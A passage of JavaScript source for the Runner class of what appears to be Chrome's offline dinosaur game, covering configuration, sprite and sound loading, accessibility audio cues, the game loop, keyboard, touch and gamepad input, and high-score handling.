this.containerEl = null;
this.snackbarEl = null;
// A div to intercept touch events. Only set while (playing && useTouch).
this.touchController = null;
this.config = opt_config || Object.assign(Runner.config, Runner.normalConfig);
// Logical dimensions of the container.
this.dimensions = Runner.defaultDimensions;
this.gameType = null;
Runner.spriteDefinition = Runner.spriteDefinitionByType['original'];
this.altGameImageSprite = null;
this.altGameModeActive = false;
this.altGameModeFlashTimer = null;
this.fadeInTimer = 0;
this.canvas = null;
this.canvasCtx = null;
this.tRex = null;
this.distanceMeter = null;
this.distanceRan = 0;
this.highestScore = 0;
this.syncHighestScore = false;
this.time = 0;
this.runningTime = 0;
this.msPerFrame = 1000 / FPS;
this.currentSpeed = this.config.SPEED;
Runner.slowDown = false;
this.obstacles = [];
this.activated = false; // Whether the easter egg has been activated.
this.playing = false; // Whether the game is currently in play state.
this.crashed = false;
this.paused = false;
this.inverted = false;
this.invertTimer = 0;
this.resizeTimerId_ = null;
this.playCount = 0;
// Sound FX.
this.audioBuffer = null;
/** @type {Object} */
this.soundFx = {};
this.generatedSoundFx = null;
// Global web audio context for playing sounds.
this.audioContext = null;
// Images.
this.images = {};
this.imagesLoaded = 0;
// Gamepad state.
this.pollingGamepads = false;
this.gamepadIndex = undefined;
this.previousGamepad = null;
if (this.isDisabled()) {
this.setupDisabledRunner();
} else {
if (Runner.isAltGameModeEnabled()) {
this.initAltGameType();
Runner.gameType = this.gameType;
}
this.loadImages();
window['initializeEasterEggHighScore'] =
this.initializeHighScore.bind(this);
}
}
/**
* Default game width.
* @const
*/
const DEFAULT_WIDTH = 600;
/**
* Frames per second.
* @const
*/
const FPS = 60;
/** @const */
const IS_HIDPI = window.devicePixelRatio > 1;
/** @const */
const IS_IOS = /CriOS/.test(window.navigator.userAgent);
/** @const */
const IS_MOBILE = /Android/.test(window.navigator.userAgent) || IS_IOS;
/** @const */
const IS_RTL = document.querySelector('html').dir == 'rtl';
/** @const */
const ARCADE_MODE_URL = 'chrome://dino/';
/** @const */
const RESOURCE_POSTFIX = 'offline-resources-';
/** @const */
const A11Y_STRINGS = {
ariaLabel: 'dinoGameA11yAriaLabel',
description: 'dinoGameA11yDescription',
gameOver: 'dinoGameA11yGameOver',
highScore: 'dinoGameA11yHighScore',
jump: 'dinoGameA11yJump',
started: 'dinoGameA11yStartGame',
speedLabel: 'dinoGameA11ySpeedToggle',
};
/**
* Default game configuration.
* Shared config for all versions of the game. Additional parameters are
* defined in Runner.normalConfig and Runner.slowConfig.
*/
Runner.config = {
AUDIOCUE_PROXIMITY_THRESHOLD: 190,
AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
BG_CLOUD_SPEED: 0.2,
BOTTOM_PAD: 10,
// Scroll Y threshold at which the game can be activated.
CANVAS_IN_VIEW_OFFSET: -10,
CLEAR_TIME: 3000,
CLOUD_FREQUENCY: 0.5,
FADE_DURATION: 1,
FLASH_DURATION: 1000,
GAMEOVER_CLEAR_TIME: 1200,
INITIAL_JUMP_VELOCITY: 12,
INVERT_FADE_DURATION: 12000,
MAX_BLINK_COUNT: 3,
MAX_CLOUDS: 6,
MAX_OBSTACLE_LENGTH: 3,
MAX_OBSTACLE_DUPLICATION: 2,
RESOURCE_TEMPLATE_ID: 'audio-resources',
SPEED: 6,
SPEED_DROP_COEFFICIENT: 3,
ARCADE_MODE_INITIAL_TOP_POSITION: 35,
ARCADE_MODE_TOP_POSITION_PERCENT: 0.1,
};
Runner.normalConfig = {
ACCELERATION: 0.001,
AUDIOCUE_PROXIMITY_THRESHOLD: 190,
AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
GAP_COEFFICIENT: 0.6,
INVERT_DISTANCE: 700,
MAX_SPEED: 13,
MOBILE_SPEED_COEFFICIENT: 1.2,
SPEED: 6,
};
Runner.slowConfig = {
ACCELERATION: 0.0005,
AUDIOCUE_PROXIMITY_THRESHOLD: 170,
AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 220,
GAP_COEFFICIENT: 0.3,
INVERT_DISTANCE: 350,
MAX_SPEED: 9,
MOBILE_SPEED_COEFFICIENT: 1.5,
SPEED: 4.2,
};
/**
* Default dimensions.
*/
Runner.defaultDimensions = {
WIDTH: DEFAULT_WIDTH,
HEIGHT: 150,
};
/**
* CSS class names.
* @enum {string}
*/
Runner.classes = {
ARCADE_MODE: 'arcade-mode',
CANVAS: 'runner-canvas',
CONTAINER: 'runner-container',
CRASHED: 'crashed',
ICON: 'icon-offline',
INVERTED: 'inverted',
SNACKBAR: 'snackbar',
SNACKBAR_SHOW: 'snackbar-show',
TOUCH_CONTROLLER: 'controller',
};
/**
* Sound FX. Reference to the ID of the audio tag on interstitial page.
* @enum {string}
*/
Runner.sounds = {
BUTTON_PRESS: 'offline-sound-press',
HIT: 'offline-sound-hit',
SCORE: 'offline-sound-reached',
};
/**
* Key code mapping.
* @enum {Object}
*/
Runner.keycodes = {
JUMP: {'38': 1, '32': 1}, // Up, spacebar
DUCK: {'40': 1}, // Down
RESTART: {'13': 1}, // Enter
};
/**
* Runner event names.
* @enum {string}
*/
Runner.events = {
ANIM_END: 'webkitAnimationEnd',
CLICK: 'click',
KEYDOWN: 'keydown',
KEYUP: 'keyup',
POINTERDOWN: 'pointerdown',
POINTERUP: 'pointerup',
RESIZE: 'resize',
TOUCHEND: 'touchend',
TOUCHSTART: 'touchstart',
VISIBILITY: 'visibilitychange',
BLUR: 'blur',
FOCUS: 'focus',
LOAD: 'load',
GAMEPADCONNECTED: 'gamepadconnected',
};
Runner.prototype = {
/**
* Initialize alternative game type.
*/
initAltGameType() {
if (GAME_TYPE.length > 0) {
this.gameType = loadTimeData && loadTimeData.valueExists('altGameType') ?
GAME_TYPE[parseInt(loadTimeData.getValue('altGameType'), 10) - 1] :
'';
}
},
/**
* Whether the easter egg has been disabled. CrOS enterprise enrolled devices.
* @return {boolean}
*/
isDisabled() {
return loadTimeData && loadTimeData.valueExists('disabledEasterEgg');
},
/**
* For disabled instances, set up a snackbar with the disabled message.
*/
setupDisabledRunner() {
this.containerEl = document.createElement('div');
this.containerEl.className = Runner.classes.SNACKBAR;
this.containerEl.textContent = loadTimeData.getValue('disabledEasterEgg');
this.outerContainerEl.appendChild(this.containerEl);
// Show notification when the activation key is pressed.
document.addEventListener(Runner.events.KEYDOWN, function(e) {
if (Runner.keycodes.JUMP[e.keyCode]) {
this.containerEl.classList.add(Runner.classes.SNACKBAR_SHOW);
document.querySelector('.icon').classList.add('icon-disabled');
}
}.bind(this));
},
/**
* Setting individual settings for debugging.
* @param {string} setting
* @param {number|string} value
*/
updateConfigSetting(setting, value) {
if (setting in this.config && value !== undefined) {
this.config[setting] = value;
switch (setting) {
case 'GRAVITY':
case 'MIN_JUMP_HEIGHT':
case 'SPEED_DROP_COEFFICIENT':
this.tRex.config[setting] = value;
break;
case 'INITIAL_JUMP_VELOCITY':
this.tRex.setJumpVelocity(value);
break;
case 'SPEED':
this.setSpeed(/** @type {number} */ (value));
break;
}
}
},
/**
* Creates an on page image element from the base 64 encoded string source.
* @param {string} resourceName Name in data object,
* @return {HTMLImageElement} The created element.
*/
createImageElement(resourceName) {
const imgSrc = loadTimeData && loadTimeData.valueExists(resourceName) ?
loadTimeData.getString(resourceName) :
null;
if (imgSrc) {
const el =
/** @type {HTMLImageElement} */ (document.createElement('img'));
el.id = resourceName;
el.src = imgSrc;
document.getElementById('offline-resources').appendChild(el);
return el;
}
return null;
},
/**
* Cache the appropriate image sprite from the page and get the sprite sheet
* definition.
*/
loadImages() {
let scale = '1x';
this.spriteDef = Runner.spriteDefinition.LDPI;
if (IS_HIDPI) {
scale = '2x';
this.spriteDef = Runner.spriteDefinition.HDPI;
}
Runner.imageSprite = /** @type {HTMLImageElement} */
(document.getElementById(RESOURCE_POSTFIX + scale));
if (this.gameType) {
Runner.altGameImageSprite = /** @type {HTMLImageElement} */
(this.createImageElement('altGameSpecificImage' + scale));
Runner.altCommonImageSprite = /** @type {HTMLImageElement} */
(this.createImageElement('altGameCommonImage' + scale));
}
Runner.origImageSprite = Runner.imageSprite;
// Disable the alt game mode if the sprites can't be loaded.
if (!Runner.altGameImageSprite || !Runner.altCommonImageSprite) {
Runner.isAltGameModeEnabled = () => false;
this.altGameModeActive = false;
}
if (Runner.imageSprite.complete) {
this.init();
} else {
// If the images are not yet loaded, add a listener.
Runner.imageSprite.addEventListener(Runner.events.LOAD,
this.init.bind(this));
}
},
/**
* Load and decode base 64 encoded sounds.
*/
loadSounds() {
if (!IS_IOS) {
this.audioContext = new AudioContext();
const resourceTemplate =
document.getElementById(this.config.RESOURCE_TEMPLATE_ID).content;
for (const sound in Runner.sounds) {
let soundSrc =
resourceTemplate.getElementById(Runner.sounds[sound]).src;
soundSrc = soundSrc.substr(soundSrc.indexOf(',') + 1);
const buffer = decodeBase64ToArrayBuffer(soundSrc);
// Async, so no guarantee of order in array.
this.audioContext.decodeAudioData(buffer, function(index, audioData) {
this.soundFx[index] = audioData;
}.bind(this, sound));
}
}
},
/**
* Sets the game speed. Adjust the speed accordingly if on a smaller screen.
* @param {number=} opt_speed
*/
setSpeed(opt_speed) {
const speed = opt_speed || this.currentSpeed;
// Reduce the speed on smaller mobile screens.
if (this.dimensions.WIDTH < DEFAULT_WIDTH) {
const mobileSpeed = Runner.slowDown ? speed :
speed * this.dimensions.WIDTH /
DEFAULT_WIDTH * this.config.MOBILE_SPEED_COEFFICIENT;
this.currentSpeed = mobileSpeed > speed ? speed : mobileSpeed;
} else if (opt_speed) {
this.currentSpeed = opt_speed;
}
},
/**
* Game initialiser.
*/
init() {
// Hide the static icon.
document.querySelector('.' + Runner.classes.ICON).style.visibility =
'hidden';
this.adjustDimensions();
this.setSpeed();
const ariaLabel = getA11yString(A11Y_STRINGS.ariaLabel);
this.containerEl = document.createElement('div');
this.containerEl.setAttribute('role', IS_MOBILE ? 'button' : 'application');
this.containerEl.setAttribute('tabindex', '0');
this.containerEl.setAttribute('title', ariaLabel);
this.containerEl.className = Runner.classes.CONTAINER;
// Player canvas container.
this.canvas = createCanvas(this.containerEl, this.dimensions.WIDTH,
this.dimensions.HEIGHT);
// Live region for game status updates.
this.a11yStatusEl = document.createElement('span');
this.a11yStatusEl.className = 'offline-runner-live-region';
this.a11yStatusEl.setAttribute('aria-live', 'assertive');
this.a11yStatusEl.textContent = '';
Runner.a11yStatusEl = this.a11yStatusEl;
// Add checkbox to slow down the game.
this.slowSpeedCheckboxLabel = document.createElement('label');
this.slowSpeedCheckboxLabel.className = 'slow-speed-option hidden';
this.slowSpeedCheckboxLabel.textContent =
getA11yString(A11Y_STRINGS.speedLabel);
this.slowSpeedCheckbox = document.createElement('input');
this.slowSpeedCheckbox.setAttribute('type', 'checkbox');
this.slowSpeedCheckbox.setAttribute(
'title', getA11yString(A11Y_STRINGS.speedLabel));
this.slowSpeedCheckbox.setAttribute('tabindex', '0');
this.slowSpeedCheckbox.setAttribute('checked', 'checked');
this.slowSpeedToggleEl = document.createElement('span');
this.slowSpeedToggleEl.className = 'slow-speed-toggle';
this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedCheckbox);
this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedToggleEl);
if (IS_IOS) {
this.outerContainerEl.appendChild(this.a11yStatusEl);
} else {
this.containerEl.appendChild(this.a11yStatusEl);
}
announcePhrase(getA11yString(A11Y_STRINGS.description));
this.generatedSoundFx = new GeneratedSoundFx();
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.canvasCtx.fillStyle = '#f7f7f7';
this.canvasCtx.fill();
Runner.updateCanvasScaling(this.canvas);
// Horizon contains clouds, obstacles and the ground.
this.horizon = new Horizon(this.canvas, this.spriteDef, this.dimensions,
this.config.GAP_COEFFICIENT);
// Distance meter
this.distanceMeter = new DistanceMeter(this.canvas,
this.spriteDef.TEXT_SPRITE, this.dimensions.WIDTH);
// Draw t-rex
this.tRex = new Trex(this.canvas, this.spriteDef.TREX);
this.outerContainerEl.appendChild(this.containerEl);
this.outerContainerEl.appendChild(this.slowSpeedCheckboxLabel);
this.startListening();
this.update();
window.addEventListener(Runner.events.RESIZE,
this.debounceResize.bind(this));
// Handle dark mode
const darkModeMediaQuery =
window.matchMedia('(prefers-color-scheme: dark)');
this.isDarkMode = darkModeMediaQuery && darkModeMediaQuery.matches;
darkModeMediaQuery.addListener((e) => {
this.isDarkMode = e.matches;
});
},
/**
* Create the touch controller. A div that covers whole screen.
*/
createTouchController() {
this.touchController = document.createElement('div');
this.touchController.className = Runner.classes.TOUCH_CONTROLLER;
this.touchController.addEventListener(Runner.events.TOUCHSTART, this);
this.touchController.addEventListener(Runner.events.TOUCHEND, this);
this.outerContainerEl.appendChild(this.touchController);
},
/**
* Debounce the resize event.
*/
debounceResize() {
if (!this.resizeTimerId_) {
this.resizeTimerId_ =
setInterval(this.adjustDimensions.bind(this), 250);
}
},
/**
* Adjust game space dimensions on resize.
*/
adjustDimensions() {
clearInterval(this.resizeTimerId_);
this.resizeTimerId_ = null;
const boxStyles = window.getComputedStyle(this.outerContainerEl);
const padding = Number(boxStyles.paddingLeft.substr(0,
boxStyles.paddingLeft.length - 2));
this.dimensions.WIDTH = this.outerContainerEl.offsetWidth - padding * 2;
if (this.isArcadeMode()) {
this.dimensions.WIDTH = Math.min(DEFAULT_WIDTH, this.dimensions.WIDTH);
if (this.activated) {
this.setArcadeModeContainerScale();
}
}
// Redraw the elements back onto the canvas.
if (this.canvas) {
this.canvas.width = this.dimensions.WIDTH;
this.canvas.height = this.dimensions.HEIGHT;
Runner.updateCanvasScaling(this.canvas);
this.distanceMeter.calcXPos(this.dimensions.WIDTH);
this.clearCanvas();
this.horizon.update(0, 0, true);
this.tRex.update(0);
// Outer container and distance meter.
if (this.playing || this.crashed || this.paused) {
this.containerEl.style.width = this.dimensions.WIDTH + 'px';
this.containerEl.style.height = this.dimensions.HEIGHT + 'px';
this.distanceMeter.update(0, Math.ceil(this.distanceRan));
this.stop();
} else {
this.tRex.draw(0, 0);
}
// Game over panel.
if (this.crashed && this.gameOverPanel) {
this.gameOverPanel.updateDimensions(this.dimensions.WIDTH);
this.gameOverPanel.draw(this.altGameModeActive, this.tRex);
}
}
},
/**
* Play the game intro.
* Canvas container width expands out to the full width.
*/
playIntro() {
if (!this.activated && !this.crashed) {
this.playingIntro = true;
this.tRex.playingIntro = true;
// CSS animation definition.
const keyframes = '@-webkit-keyframes intro { ' +
'from { width:' + Trex.config.WIDTH + 'px }' +
'to { width: ' + this.dimensions.WIDTH + 'px }' +
'}';
document.styleSheets[0].insertRule(keyframes, 0);
this.containerEl.addEventListener(Runner.events.ANIM_END,
this.startGame.bind(this));
this.containerEl.style.webkitAnimation = 'intro .4s ease-out 1 both';
this.containerEl.style.width = this.dimensions.WIDTH + 'px';
this.setPlayStatus(true);
this.activated = true;
} else if (this.crashed) {
this.restart();
}
},
/**
* Update the game status to started.
*/
startGame() {
if (this.isArcadeMode()) {
this.setArcadeMode();
}
this.toggleSpeed();
this.runningTime = 0;
this.playingIntro = false;
this.tRex.playingIntro = false;
this.containerEl.style.webkitAnimation = '';
this.playCount++;
this.generatedSoundFx.background();
announcePhrase(getA11yString(A11Y_STRINGS.started));
if (Runner.audioCues) {
this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
}
// Handle tabbing off the page. Pause the current game.
document.addEventListener(Runner.events.VISIBILITY,
this.onVisibilityChange.bind(this));
window.addEventListener(Runner.events.BLUR,
this.onVisibilityChange.bind(this));
window.addEventListener(Runner.events.FOCUS,
this.onVisibilityChange.bind(this));
},
clearCanvas() {
this.canvasCtx.clearRect(0, 0, this.dimensions.WIDTH,
this.dimensions.HEIGHT);
},
/**
* Checks whether the canvas area is in the viewport of the browser
* through the current scroll position.
* @return boolean.
*/
isCanvasInView() {
return this.containerEl.getBoundingClientRect().top >
Runner.config.CANVAS_IN_VIEW_OFFSET;
},
/**
* Enable the alt game mode. Switching out the sprites.
*/
enableAltGameMode() {
Runner.imageSprite = Runner.altGameImageSprite;
Runner.spriteDefinition = Runner.spriteDefinitionByType[Runner.gameType];
if (IS_HIDPI) {
this.spriteDef = Runner.spriteDefinition.HDPI;
} else {
this.spriteDef = Runner.spriteDefinition.LDPI;
}
this.altGameModeActive = true;
this.tRex.enableAltGameMode(this.spriteDef.TREX);
this.horizon.enableAltGameMode(this.spriteDef);
this.generatedSoundFx.background();
},
/**
* Update the game frame and schedules the next one.
*/
update() {
this.updatePending = false;
const now = getTimeStamp();
let deltaTime = now - (this.time || now);
// Flashing when switching game modes.
if (this.altGameModeFlashTimer < 0 || this.altGameModeFlashTimer === 0) {
this.altGameModeFlashTimer = null;
this.tRex.setFlashing(false);
this.enableAltGameMode();
} else if (this.altGameModeFlashTimer > 0) {
this.altGameModeFlashTimer -= deltaTime;
this.tRex.update(deltaTime);
deltaTime = 0;
}
this.time = now;
if (this.playing) {
this.clearCanvas();
// Additional fade in - Prevents jump when switching sprites
if (this.altGameModeActive &&
this.fadeInTimer <= this.config.FADE_DURATION) {
this.fadeInTimer += deltaTime / 1000;
this.canvasCtx.globalAlpha = this.fadeInTimer;
} else {
this.canvasCtx.globalAlpha = 1;
}
if (this.tRex.jumping) {
this.tRex.updateJump(deltaTime);
}
this.runningTime += deltaTime;
const hasObstacles = this.runningTime > this.config.CLEAR_TIME;
// First jump triggers the intro.
if (this.tRex.jumpCount === 1 && !this.playingIntro) {
this.playIntro();
}
// The horizon doesn't move until the intro is over.
if (this.playingIntro) {
this.horizon.update(0, this.currentSpeed, hasObstacles);
} else if (!this.crashed) {
const showNightMode = this.isDarkMode ^ this.inverted;
deltaTime = !this.activated ? 0 : deltaTime;
this.horizon.update(
deltaTime, this.currentSpeed, hasObstacles, showNightMode);
}
// Check for collisions.
let collision = hasObstacles &&
checkForCollision(this.horizon.obstacles[0], this.tRex);
// For a11y, audio cues.
if (Runner.audioCues && hasObstacles) {
const jumpObstacle =
this.horizon.obstacles[0].typeConfig.type != 'COLLECTABLE';
if (!this.horizon.obstacles[0].jumpAlerted) {
const threshold = Runner.isMobileMouseInput ?
Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y :
Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD;
const adjProximityThreshold = threshold +
(threshold * Math.log10(this.currentSpeed / Runner.config.SPEED));
if (this.horizon.obstacles[0].xPos < adjProximityThreshold) {
if (jumpObstacle) {
this.generatedSoundFx.jump();
}
this.horizon.obstacles[0].jumpAlerted = true;
}
}
}
// Activated alt game mode.
if (Runner.isAltGameModeEnabled() && collision &&
this.horizon.obstacles[0].typeConfig.type == 'COLLECTABLE') {
this.horizon.removeFirstObstacle();
this.tRex.setFlashing(true);
collision = false;
this.altGameModeFlashTimer = this.config.FLASH_DURATION;
this.runningTime = 0;
this.generatedSoundFx.collect();
}
if (!collision) {
this.distanceRan += this.currentSpeed * deltaTime / this.msPerFrame;
if (this.currentSpeed < this.config.MAX_SPEED) {
this.currentSpeed += this.config.ACCELERATION;
}
} else {
this.gameOver();
}
const playAchievementSound = this.distanceMeter.update(deltaTime,
Math.ceil(this.distanceRan));
if (!Runner.audioCues && playAchievementSound) {
this.playSound(this.soundFx.SCORE);
}
// Night mode.
if (!Runner.isAltGameModeEnabled()) {
if (this.invertTimer > this.config.INVERT_FADE_DURATION) {
this.invertTimer = 0;
this.invertTrigger = false;
this.invert(false);
} else if (this.invertTimer) {
this.invertTimer += deltaTime;
} else {
const actualDistance =
this.distanceMeter.getActualDistance(Math.ceil(this.distanceRan));
if (actualDistance > 0) {
this.invertTrigger =
!(actualDistance % this.config.INVERT_DISTANCE);
if (this.invertTrigger && this.invertTimer === 0) {
this.invertTimer += deltaTime;
this.invert(false);
}
}
}
}
}
if (this.playing || (!this.activated &&
this.tRex.blinkCount < Runner.config.MAX_BLINK_COUNT)) {
this.tRex.update(deltaTime);
this.scheduleNextUpdate();
}
},
/**
* Event handler.
* @param {Event} e
*/
handleEvent(e) {
return (function(evtType, events) {
switch (evtType) {
case events.KEYDOWN:
case events.TOUCHSTART:
case events.POINTERDOWN:
this.onKeyDown(e);
break;
case events.KEYUP:
case events.TOUCHEND:
case events.POINTERUP:
this.onKeyUp(e);
break;
case events.GAMEPADCONNECTED:
this.onGamepadConnected(e);
break;
}
}.bind(this))(e.type, Runner.events);
},
/**
* Initialize audio cues if activated by focus on the canvas element.
* @param {Event} e
*/
handleCanvasKeyPress(e) {
if (!this.activated && !Runner.audioCues) {
this.toggleSpeed();
Runner.audioCues = true;
this.generatedSoundFx.init();
Runner.generatedSoundFx = this.generatedSoundFx;
Runner.config.CLEAR_TIME *= 1.2;
} else if (e.keyCode && Runner.keycodes.JUMP[e.keyCode]) {
this.onKeyDown(e);
}
},
/**
* Prevent space key press from scrolling.
* @param {Event} e
*/
preventScrolling(e) {
if (e.keyCode === 32) {
e.preventDefault();
}
},
/**
* Toggle speed setting if toggle is shown.
*/
toggleSpeed() {
if (Runner.audioCues) {
const speedChange = Runner.slowDown != this.slowSpeedCheckbox.checked;
if (speedChange) {
Runner.slowDown = this.slowSpeedCheckbox.checked;
const updatedConfig =
Runner.slowDown ? Runner.slowConfig : Runner.normalConfig;
Runner.config = Object.assign(Runner.config, updatedConfig);
this.currentSpeed = updatedConfig.SPEED;
this.tRex.enableSlowConfig();
this.horizon.adjustObstacleSpeed();
}
if (this.playing) {
this.disableSpeedToggle(true);
}
}
},
/**
* Show the speed toggle.
* From focus event or when audio cues are activated.
* @param {Event=} e
*/
showSpeedToggle(e) {
const isFocusEvent = e && e.type == 'focus';
if (Runner.audioCues || isFocusEvent) {
this.slowSpeedCheckboxLabel.classList.toggle(
HIDDEN_CLASS, isFocusEvent ? false : !this.crashed);
}
},
/**
* Disable the speed toggle.
* @param {boolean} disable
*/
disableSpeedToggle(disable) {
if (disable) {
this.slowSpeedCheckbox.setAttribute('disabled', 'disabled');
} else {
this.slowSpeedCheckbox.removeAttribute('disabled');
}
},
/**
* Bind relevant key / mouse / touch listeners.
*/
startListening() {
// A11y keyboard / screen reader activation.
this.containerEl.addEventListener(
Runner.events.KEYDOWN, this.handleCanvasKeyPress.bind(this));
if (!IS_MOBILE) {
this.containerEl.addEventListener(
Runner.events.FOCUS, this.showSpeedToggle.bind(this));
}
this.canvas.addEventListener(
Runner.events.KEYDOWN, this.preventScrolling.bind(this));
this.canvas.addEventListener(
Runner.events.KEYUP, this.preventScrolling.bind(this));
// Keys.
document.addEventListener(Runner.events.KEYDOWN, this);
document.addEventListener(Runner.events.KEYUP, this);
// Touch / pointer.
this.containerEl.addEventListener(Runner.events.TOUCHSTART, this);
document.addEventListener(Runner.events.POINTERDOWN, this);
document.addEventListener(Runner.events.POINTERUP, this);
if (this.isArcadeMode()) {
// Gamepad
window.addEventListener(Runner.events.GAMEPADCONNECTED, this);
}
},
/**
* Remove all listeners.
*/
stopListening() {
document.removeEventListener(Runner.events.KEYDOWN, this);
document.removeEventListener(Runner.events.KEYUP, this);
if (this.touchController) {
this.touchController.removeEventListener(Runner.events.TOUCHSTART, this);
this.touchController.removeEventListener(Runner.events.TOUCHEND, this);
}
this.containerEl.removeEventListener(Runner.events.TOUCHSTART, this);
document.removeEventListener(Runner.events.POINTERDOWN, this);
document.removeEventListener(Runner.events.POINTERUP, this);
if (this.isArcadeMode()) {
window.removeEventListener(Runner.events.GAMEPADCONNECTED, this);
}
},
/**
* Process keydown.
* @param {Event} e
*/
onKeyDown(e) {
// Prevent native page scrolling whilst tapping on mobile.
if (IS_MOBILE && this.playing) {
e.preventDefault();
}
if (this.isCanvasInView()) {
// Allow toggling of speed toggle.
if (Runner.keycodes.JUMP[e.keyCode] &&
e.target == this.slowSpeedCheckbox) {
return;
}
if (!this.crashed && !this.paused) {
// For a11y, screen reader activation.
const isMobileMouseInput = IS_MOBILE &&
e.type === Runner.events.POINTERDOWN &&
e.pointerType == 'mouse' && e.target == this.containerEl ||
(IS_IOS && e.pointerType == 'touch' &&
document.activeElement == this.containerEl);
if (Runner.keycodes.JUMP[e.keyCode] ||
e.type === Runner.events.TOUCHSTART || isMobileMouseInput ||
(Runner.keycodes.DUCK[e.keyCode] && this.altGameModeActive)) {
e.preventDefault();
// Starting the game for the first time.
if (!this.playing) {
// Started by touch so create a touch controller.
if (!this.touchController && e.type === Runner.events.TOUCHSTART) {
this.createTouchController();
}
if (isMobileMouseInput) {
this.handleCanvasKeyPress(e);
}
this.loadSounds();
this.setPlayStatus(true);
this.update();
if (window.errorPageController) {
errorPageController.trackEasterEgg();
}
}
// Start jump.
if (!this.tRex.jumping && !this.tRex.ducking) {
if (Runner.audioCues) {
this.generatedSoundFx.cancelFootSteps();
} else {
this.playSound(this.soundFx.BUTTON_PRESS);
}
this.tRex.startJump(this.currentSpeed);
}
// Ducking is disabled on alt game modes.
} else if (
!this.altGameModeActive && this.playing &&
Runner.keycodes.DUCK[e.keyCode]) {
e.preventDefault();
if (this.tRex.jumping) {
// Speed drop, activated only when jump key is not pressed.
this.tRex.setSpeedDrop();
} else if (!this.tRex.jumping && !this.tRex.ducking) {
// Duck.
this.tRex.setDuck(true);
}
}
}
}
},
/**
* Process key up.
* @param {Event} e
*/
onKeyUp(e) {
const keyCode = String(e.keyCode);
const isjumpKey = Runner.keycodes.JUMP[keyCode] ||
e.type === Runner.events.TOUCHEND || e.type === Runner.events.POINTERUP;
if (this.isRunning() && isjumpKey) {
this.tRex.endJump();
} else if (Runner.keycodes.DUCK[keyCode]) {
this.tRex.speedDrop = false;
this.tRex.setDuck(false);
} else if (this.crashed) {
// Check that enough time has elapsed before allowing jump key to restart.
const deltaTime = getTimeStamp() - this.time;
if (this.isCanvasInView() &&
(Runner.keycodes.RESTART[keyCode] || this.isLeftClickOnCanvas(e) ||
(deltaTime >= this.config.GAMEOVER_CLEAR_TIME &&
Runner.keycodes.JUMP[keyCode]))) {
this.handleGameOverClicks(e);
}
} else if (this.paused && isjumpKey) {
// Reset the jump state
this.tRex.reset();
this.play();
}
},
/**
* Process gamepad connected event.
* @param {Event} e
*/
onGamepadConnected(e) {
if (!this.pollingGamepads) {
this.pollGamepadState();
}
},
/**
* rAF loop for gamepad polling.
*/
pollGamepadState() {
const gamepads = navigator.getGamepads();
this.pollActiveGamepad(gamepads);
this.pollingGamepads = true;
requestAnimationFrame(this.pollGamepadState.bind(this));
},
/**
* Polls for a gamepad with the jump button pressed. If one is found this
* becomes the "active" gamepad and all others are ignored.
* @param {!Array<Gamepad>} gamepads
*/
pollForActiveGamepad(gamepads) {
for (let i = 0; i < gamepads.length; ++i) {
if (gamepads[i] && gamepads[i].buttons.length > 0 &&
gamepads[i].buttons[0].pressed) {
this.gamepadIndex = i;
this.pollActiveGamepad(gamepads);
return;
}
}
},
/**
* Polls the chosen gamepad for button presses and generates KeyboardEvents
* to integrate with the rest of the game logic.
* @param {!Array<Gamepad>} gamepads
*/
pollActiveGamepad(gamepads) {
if (this.gamepadIndex === undefined) {
this.pollForActiveGamepad(gamepads);
return;
}
const gamepad = gamepads[this.gamepadIndex];
if (!gamepad) {
this.gamepadIndex = undefined;
this.pollForActiveGamepad(gamepads);
return;
}
// The gamepad specification defines the typical mapping of physical buttons
// to button indicies: https://w3c.github.io/gamepad/#remapping
this.pollGamepadButton(gamepad, 0, 38); // Jump
if (gamepad.buttons.length >= 2) {
this.pollGamepadButton(gamepad, 1, 40); // Duck
}
if (gamepad.buttons.length >= 10) {
this.pollGamepadButton(gamepad, 9, 13); // Restart
}
this.previousGamepad = gamepad;
},
/**
* Generates a key event based on a gamepad button.
* @param {!Gamepad} gamepad
* @param {number} buttonIndex
* @param {number} keyCode
*/
pollGamepadButton(gamepad, buttonIndex, keyCode) {
const state = gamepad.buttons[buttonIndex].pressed;
let previousState = false;
if (this.previousGamepad) {
previousState = this.previousGamepad.buttons[buttonIndex].pressed;
}
// Generate key events on the rising and falling edge of a button press.
if (state !== previousState) {
const e = new KeyboardEvent(state ? Runner.events.KEYDOWN
: Runner.events.KEYUP,
{ keyCode: keyCode });
document.dispatchEvent(e);
}
},
/**
* Handle interactions on the game over screen state.
* A user is able to tap the high score twice to reset it.
* @param {Event} e
*/
handleGameOverClicks(e) {
if (e.target != this.slowSpeedCheckbox) {
e.preventDefault();
if (this.distanceMeter.hasClickedOnHighScore(e) && this.highestScore) {
if (this.distanceMeter.isHighScoreFlashing()) {
// Subsequent click, reset the high score.
this.saveHighScore(0, true);
this.distanceMeter.resetHighScore();
} else {
// First click, flash the high score.
this.distanceMeter.startHighScoreFlashing();
}
} else {
this.distanceMeter.cancelHighScoreFlashing();
this.restart();
}
}
},
/**
* Returns whether the event was a left click on canvas.
* On Windows right click is registered as a click.
* @param {Event} e
* @return {boolean}
*/
isLeftClickOnCanvas(e) {
return e.button != null && e.button < 2 &&
e.type === Runner.events.POINTERUP &&
(e.target === this.canvas ||
(IS_MOBILE && Runner.audioCues && e.target === this.containerEl));
},
/**
* RequestAnimationFrame wrapper.
*/
scheduleNextUpdate() {
if (!this.updatePending) {
this.updatePending = true;
this.raqId = requestAnimationFrame(this.update.bind(this));
}
},
/**
* Whether the game is running.
* @return {boolean}
*/
isRunning() {
return !!this.raqId;
},
/**
* Set the initial high score as stored in the user's profile.
* @param {number} highScore
*/
initializeHighScore(highScore) {
this.syncHighestScore = true;
highScore = Math.ceil(highScore);
if (highScore < this.highestScore) {
if (window.errorPageController) {
errorPageController.updateEasterEggHighScore(this.highestScore);
}
return;
}
this.highestScore = highScore;
this.distanceMeter.setHighScore(this.highestScore);
},
/**
* Sets the current high score and saves to the profile if available.
* @param {number} distanceRan Total distance ran.
* @param {boolean=} opt_resetScore Whether to reset the score.
*/
